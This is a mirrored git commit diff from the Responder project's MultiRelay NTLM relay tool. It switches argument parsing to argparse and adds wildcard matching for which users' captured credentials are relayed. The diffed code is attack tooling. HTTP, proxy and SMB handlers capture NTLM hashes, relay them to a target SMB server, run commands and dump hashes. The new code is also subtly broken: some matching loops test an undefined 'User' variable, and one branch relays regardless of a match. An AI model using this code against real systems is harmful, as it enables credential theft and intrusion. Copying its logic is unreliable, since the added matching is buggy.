mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-21 22:03:30 -07:00
guly: added support for wildcard in usernames, moved from optparse(deprecated) to argparse
This commit is contained in:
parent
38219e249e
commit
fb1aba66f4
2 changed files with 89 additions and 79 deletions
|
@ -18,10 +18,12 @@ import sys
|
|||
import re
|
||||
import os
|
||||
import logging
|
||||
import optparse
|
||||
import argparse
|
||||
import time
|
||||
import random
|
||||
import subprocess
|
||||
import itertools
|
||||
import fnmatch
|
||||
from threading import Thread
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
try:
|
||||
|
@ -50,32 +52,21 @@ Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
|
|||
RunAsFileName = "./MultiRelay/bin/Runas.exe"
|
||||
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
def UserCallBack(op, value, dmy, parser):
|
||||
args=[]
|
||||
for arg in parser.rargs:
|
||||
if arg[0] != "-":
|
||||
args.append(arg)
|
||||
if arg[0] == "-":
|
||||
break
|
||||
if getattr(parser.values, op.dest):
|
||||
args.extend(getattr(parser.values, op.dest))
|
||||
setattr(parser.values, op.dest, args)
|
||||
parser.add_argument('-t',action="store", help="Target server for SMB relay. Can be used multiple times.",dest="Target")
|
||||
parser.add_argument('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
|
||||
parser.add_argument('-u', '--UserToRelay', '--UsersToRelay', help="Users to relay. Use '-u ALL' to relay all users or wildcard to relay users like '*.admin.'. Usernames are case sensitive.", action='append',nargs='+',dest="UsersToRelay")
|
||||
parser.add_argument('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
|
||||
parser.add_argument('-d', '--dump', action="store_true", help="Dump hashes (scripting)", dest="Dump")
|
||||
|
||||
parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
|
||||
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
||||
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
|
||||
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
|
||||
parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
|
||||
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
|
||||
options = parser.parse_args()
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.TARGET is None:
|
||||
if options.Target is None:
|
||||
print "\n-t Mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
if options.UserToRelay is None:
|
||||
if options.UsersToRelay is None:
|
||||
print "\n-u Mandatory option is missing, please provide a username to relay.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
@ -89,9 +80,11 @@ if not os.geteuid() == 0:
|
|||
OneCommand = options.OneCommand
|
||||
Dump = options.Dump
|
||||
ExtraPort = options.ExtraPort
|
||||
UserToRelay = options.UserToRelay
|
||||
UsersToRelay = list(itertools.chain(*options.UsersToRelay))
|
||||
if 'ALL' in UsersToRelay:
|
||||
UsersToRelay = ['*']
|
||||
|
||||
Host = [options.TARGET]
|
||||
Host = [options.Target]
|
||||
Cmd = []
|
||||
ShellOpen = []
|
||||
Pivoting = [2]
|
||||
|
@ -114,7 +107,7 @@ def ShowWelcome():
|
|||
print 'If you do so, use taskkill (as system) to kill the process.'
|
||||
print color('*/',8,1)
|
||||
print color('\nRelaying credentials for these users:',8,1)
|
||||
print color(UserToRelay,4,1)
|
||||
print color(UsersToRelay,4,1)
|
||||
print '\n'
|
||||
|
||||
|
||||
|
@ -262,7 +255,7 @@ class HTTPProxyRelay(BaseRequestHandler):
|
|||
else:
|
||||
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
||||
#and has not attempted before. While at it, let's grab his hash.
|
||||
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
|
||||
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UsersToRelay,Host[0],Pivoting)
|
||||
|
||||
if Username is not None:
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||
|
@ -359,7 +352,7 @@ class HTTPRelay(BaseRequestHandler):
|
|||
else:
|
||||
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
||||
#and has not attempted before. While at it, let's grab his hash.
|
||||
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
|
||||
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UsersToRelay,Host[0],Pivoting)
|
||||
|
||||
if Username is not None:
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||
|
@ -446,7 +439,7 @@ class SMBRelay(BaseRequestHandler):
|
|||
else:
|
||||
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
||||
#and has not attempted before. While at it, let's grab his hash.
|
||||
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
|
||||
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UsersToRelay,Host[0],Pivoting)
|
||||
if Username is not None:
|
||||
##Got the ntlm message 3, send it over to SMB.
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||
|
|
|
@ -24,6 +24,7 @@ import re
|
|||
import datetime
|
||||
import threading
|
||||
import uuid
|
||||
import fnmatch
|
||||
from RelayMultiPackets import *
|
||||
from odict import OrderedDict
|
||||
from base64 import b64decode, b64encode
|
||||
|
@ -100,15 +101,15 @@ def IsSMBAnonymous(data):
|
|||
else:
|
||||
return False
|
||||
|
||||
def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
|
||||
def ParseHTTPHash(data, key, client, UsersToRelay, Host, Pivoting):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
|
||||
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
||||
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
@ -130,18 +131,21 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
|
|||
else:
|
||||
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||
|
||||
if User in UserToRelay or "ALL" in UserToRelay:
|
||||
if Pivoting[0] == "1":
|
||||
return User, Domain
|
||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
||||
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host, cmd=None):
|
||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||
return None, None
|
||||
else:
|
||||
return User, HostName
|
||||
else:
|
||||
print "[+] Username: %s not in target list, dropping connection."%(User)
|
||||
return None, None
|
||||
UTRmatched = False
|
||||
for UTR in UsersToRelay:
|
||||
if fnmatch.fnmatch(User,UTR):
|
||||
UTRmatched = True
|
||||
if Pivoting[0] == "1":
|
||||
return User, Domain
|
||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
||||
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host, cmd=None):
|
||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||
return None, None
|
||||
else:
|
||||
return User, HostName
|
||||
if not UTRmatched:
|
||||
print "[+] Username: %s not in target list, dropping connection."%(User)
|
||||
return None, None
|
||||
|
||||
if NthashLen > 24:
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
|
@ -162,23 +166,28 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
|
|||
pass
|
||||
else:
|
||||
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||
if User in UserToRelay or "ALL" in UserToRelay:
|
||||
if Pivoting[0] == "1":
|
||||
return User, Domain
|
||||
|
||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
||||
UTRmatched = False
|
||||
for UTR in UsersToRelay:
|
||||
if fnmatch.fnmatch(User,UTR):
|
||||
UTRmatched = True
|
||||
|
||||
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host, cmd=None):
|
||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||
return None, None
|
||||
else:
|
||||
return User, Domain
|
||||
else:
|
||||
print "[+] Username: %s not in target list, dropping connection."%(User)
|
||||
return None, None
|
||||
if Pivoting[0] == "1":
|
||||
return User, Domain
|
||||
|
||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
||||
|
||||
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host, cmd=None):
|
||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||
return None, None
|
||||
else:
|
||||
return User, Domain
|
||||
if not UTRmatched:
|
||||
print "[+] Username: %s not in target list, dropping connection."%(User)
|
||||
return None, None
|
||||
|
||||
|
||||
def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2
|
||||
def ParseSMBHash(data,client, challenge,UsersToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2
|
||||
SSPIStart = data.find('NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||
|
@ -207,19 +216,23 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
|
|||
pass
|
||||
else:
|
||||
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||
if Username in UserToRelay or "ALL" in UserToRelay:
|
||||
if Pivoting[0] == "1":
|
||||
return Username, Domain
|
||||
|
||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
||||
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
|
||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||
return None, None
|
||||
else:
|
||||
return Username, Domain
|
||||
else:
|
||||
print "[+] Username: %s not in target list, dropping connection."%(Username)
|
||||
return None, None
|
||||
UTRmatched = False
|
||||
for UTR in UsersToRelay:
|
||||
if fnmatch.fnmatch(User,UTR):
|
||||
UTRmatched = True
|
||||
if Pivoting[0] == "1":
|
||||
return Username, Domain
|
||||
|
||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
||||
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
|
||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||
return None, None
|
||||
else:
|
||||
return Username, Domain
|
||||
if not UTRmatched:
|
||||
print "[+] Username: %s not in target list, dropping connection."%(Username)
|
||||
return None, None
|
||||
|
||||
if NthashLen > 60:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
@ -241,18 +254,22 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
|
|||
pass
|
||||
else:
|
||||
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||
if Username in UserToRelay or "ALL" in UserToRelay:
|
||||
if Pivoting[0] == "1":
|
||||
return Username, Domain
|
||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
||||
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
|
||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||
return None, None
|
||||
else:
|
||||
return Username, Domain
|
||||
else:
|
||||
print "[+] Username: %s not in target list, dropping connection."%(Username)
|
||||
return None, None
|
||||
|
||||
UTRmatched = False
|
||||
for UTR in UsersToRelay:
|
||||
if fnmatch.fnmatch(User,UTR):
|
||||
UTRmatched = True
|
||||
if Pivoting[0] == "1":
|
||||
return Username, Domain
|
||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
||||
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
|
||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||
return None, None
|
||||
else:
|
||||
return Username, Domain
|
||||
if not UTRmatched:
|
||||
print "[+] Username: %s not in target list, dropping connection."%(Username)
|
||||
return None, None
|
||||
|
||||
#Get the index of the dialect we want. That is NT LM 0.12.
|
||||
def Parse_Nego_Dialect(data):
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue